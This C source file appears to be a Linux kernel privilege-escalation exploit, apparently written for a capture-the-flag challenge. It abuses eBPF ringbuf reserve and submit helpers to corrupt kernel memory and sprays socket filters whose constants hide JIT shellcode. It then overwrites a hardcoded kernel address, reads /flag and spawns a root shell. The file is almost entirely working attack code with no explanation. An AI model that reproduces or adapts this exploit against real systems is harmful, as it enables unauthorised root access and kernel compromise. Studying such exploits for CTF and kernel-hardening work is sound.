#define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <linux/keyctl.h>
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void get_root_shell(){ printf("now pid == %p\n", getpid()); system("/bin/sh"); }
void bindCore(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
size_t page_offset_base; int map_fd, expmap_fd;
#include <linux/bpf.h> #include <stdint.h> #include <sys/socket.h> #include <sys/syscall.h> #include "bpf_insn.h"
static inline int bpf(int cmd, union bpf_attr *attr) { return syscall(__NR_bpf, cmd, attr, sizeof(*attr)); }
#include <sys/mman.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <arpa/inet.h> #include <net/if.h> #include <netinet/if_ether.h>
void err_exit(char *s){ perror(s); exit(-1); }
#define VULREG \ BPF_LD_MAP_FD(BPF_REG_1, 3), \ BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \ BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), \ BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), \ BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),\ BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \ BPF_EXIT_INSN(), \ BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),\ BPF_MOV64_IMM(BPF_REG_6, 100),\ BPF_MOV64_IMM(BPF_REG_9, 0x80000000),\ BPF_ALU64_IMM(BPF_XOR, BPF_REG_6, 0),\ BPF_JMP_REG(BPF_JLE, BPF_REG_6, BPF_REG_9, 2),\ BPF_ALU64_IMM(BPF_XOR, BPF_REG_6, 100),\ BPF_MOV64_IMM(BPF_REG_9, 0),\ BPF_JMP_REG(BPF_JLE, BPF_REG_6, BPF_REG_9, 1),\ BPF_MOV64_IMM(BPF_REG_6, 0), \ BPF_MOV64_IMM(BPF_REG_3, 0),\ BPF_ALU64_IMM(BPF_XOR, BPF_REG_3, 0),\ BPF_JMP_IMM(BPF_JLE, BPF_REG_3, 2, 2),\ BPF_MOV64_IMM(BPF_REG_0, 0), \ BPF_EXIT_INSN(),\ BPF_ALU64_REG(BPF_SUB, BPF_REG_2, BPF_REG_6),
#define BPF_FUNC_dynptr_from_mem 0xc5 #define BPF_FUNC_dynptr_read 0xc9 #define BPF_FUNC_dynptr_write 0xca #define BPF_FUNC_dynptr_data 0xcb
#define BPF_FUNC_ringbuf_reserve 0x83 #define BPF_FUNC_ringbuf_submit 0x84
struct bpf_insn prog1[] = { BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
BPF_LD_MAP_FD(BPF_REG_1, 3), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),
BPF_LD_MAP_FD(BPF_REG_1, 4), BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_7), BPF_MOV64_IMM(BPF_REG_2, 0x3000), BPF_MOV64_IMM(BPF_REG_3, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, 0x83), BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -8),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_7), BPF_MOV64_IMM(BPF_REG_2, 0x3000), BPF_MOV64_IMM(BPF_REG_3, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, 0x83), BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -16), BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_10, -16), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_JMP_IMM(BPF_JMP, BPF_REG_0, 0, 5), BPF_MOV64_IMM(BPF_REG_2, 2), BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0x4000-0x3010), BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0x4000-0x3010+4),
BPF_MOV64_IMM(BPF_REG_2, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, 0x84),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_10, -8), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_JMP_IMM(BPF_JMP, BPF_REG_0, 0, 3),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0), BPF_MOV64_IMM(BPF_REG_2, 2), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, 0x84),
BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), };
#define BPF_LOG_SZ 0x20000 char bpf_log_buf[BPF_LOG_SZ] = { '\0' }; int load_prog(struct bpf_insn prog[], int cnt){ int prog_fd; union bpf_attr attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insns = (uint64_t) prog, .insn_cnt = cnt, .license = (uint64_t) "GPL", .log_level = 2, .log_buf = (uint64_t) bpf_log_buf, .log_size = BPF_LOG_SZ, }; prog_fd = bpf(BPF_PROG_LOAD, &attr); if (prog_fd < 0) { puts(bpf_log_buf); perror("BPF_PROG_LOAD"); return -1; } printf("prog_fd == %d\n", prog_fd);
return prog_fd;
}
void trigger_prog(int prog_fd){ int sockets[2]; if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0) perror("socketpair()");
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0) perror("socketpair SO_ATTACH_BPF"); char s[0x1000]; int wl = write(sockets[0], s, 0x100); }
static __always_inline int bpf_map_create(unsigned int map_type, unsigned int key_size, unsigned int value_size, unsigned int max_entries) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries, }; return bpf(BPF_MAP_CREATE, &attr); }
static __always_inline int bpf_map_get_elem(int map_fd, const void *key, void *value) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, };
return bpf(BPF_MAP_LOOKUP_ELEM, &attr); }
static __always_inline uint32_t bpf_map_get_info_by_fd(int map_fd) { struct bpf_map_info info; union bpf_attr attr = { .info.bpf_fd = map_fd, .info.info_len = sizeof(info), .info.info = (uint64_t)&info,
}; bpf(BPF_OBJ_GET_INFO_BY_FD, &attr); return info.btf_id; }
static __always_inline int bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, .flags = flags, }; return bpf(BPF_MAP_UPDATE_ELEM, &attr); }
size_t ker_offset;
int create_bpf_array_of_map(int fd, int key_size, int value_size, int max_entries) { union bpf_attr attr = { .map_type = BPF_MAP_TYPE_ARRAY_OF_MAPS, .key_size = key_size, .value_size = value_size, .max_entries = max_entries,
.inner_map_fd = fd, };
int map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); if (map_fd < 0) { return -1; } return map_fd; }
#include <linux/filter.h> #include <linux/seccomp.h> char buf[0x1000]; struct sock_filter filter[0x1000]; const int DRR_CLASS_SPRAY_THREADS = 0x100;
int sc(void) { int cmd[2], reply[2], endp[2]; if(pipe(cmd) < 0){ perror("pipe cmd"); } if(pipe(reply) < 0){ perror("pipe reply"); } if(pipe(endp) < 0){ perror("pipe endp"); }
struct sock_filter filter[0x1000] ;
for(int i = 0; i < 0x1000; i++) filter[i].code = BPF_LD + BPF_K, filter[i].k = 0XB3909090; filter[0xfff].code = BPF_RET | BPF_K, filter[0xfff].k = SECCOMP_RET_ALLOW; int k = 0xf00;
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB390c0b1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB318e1c1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB39082b1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB390320f; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c93148; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB39020b1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3e2d348; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c20148;
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c93148; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB390a5b1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB308e1c1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB39005b1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB308e1c1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB390c0b1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3d08949; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c80149;
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c93148; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB390d6b1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB308e1c1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3903fb1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB308e1c1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB39090b1; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3d18949; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c92949;
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c7894c; filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c35141;
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c3c3c3;
filter[0].code = BPF_RET | BPF_K, filter[0].k = SECCOMP_RET_ALLOW;
struct sock_fprog prog = { .len = sizeof(filter) / sizeof(filter[0]), .filter = (struct sock_filter*)filter, }; int fd[2]; for(int i = 0; i < 0x50; i++){ if(!fork()){ read(cmd[0], buf, 1); for(int j = 0; j < 0x10; j++){ socketpair(AF_UNIX, SOCK_DGRAM, 0, fd); setsockopt(fd[0], SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog)); } write(reply[1], buf, 1); write(fd[1], buf, 0x100); sleep(1000); read(endp[0], buf, 1); exit(0); } } write(cmd[1], buf, 0x50); read(reply[0], buf, 0x50); puts("spray shellcode done"); getchar();
}
int main(){
save_status(); bindCore(0);
map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1); if (map_fd < 0) perror("BPF_MAP_CREATE");
expmap_fd = bpf_map_create(BPF_MAP_TYPE_RINGBUF, 0, 0, 0x4000); if (expmap_fd < 0) perror("BPF_MAP_CREATE"); printf("ringbuf_map_fd == %d\n", expmap_fd);
size_t key = 0; size_t value[0x1000]; size_t *cons = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, expmap_fd, 0); cons[0] = 0x3000; cons[0x28/8] = 0xffffffffc033006b;
if(!fork()){ while(1){ sc(); } } sleep(2); trigger_prog(load_prog(&prog1, sizeof(prog1)/sizeof(prog1[0]))); int f = open("/flag", 0); printf("flag fd == %d\n", f); char flag[0x100]; read(f, flag, 0x100); write(1, flag, 0x100); system("/bin/sh"); puts("end"); getchar();
return 0;
}
|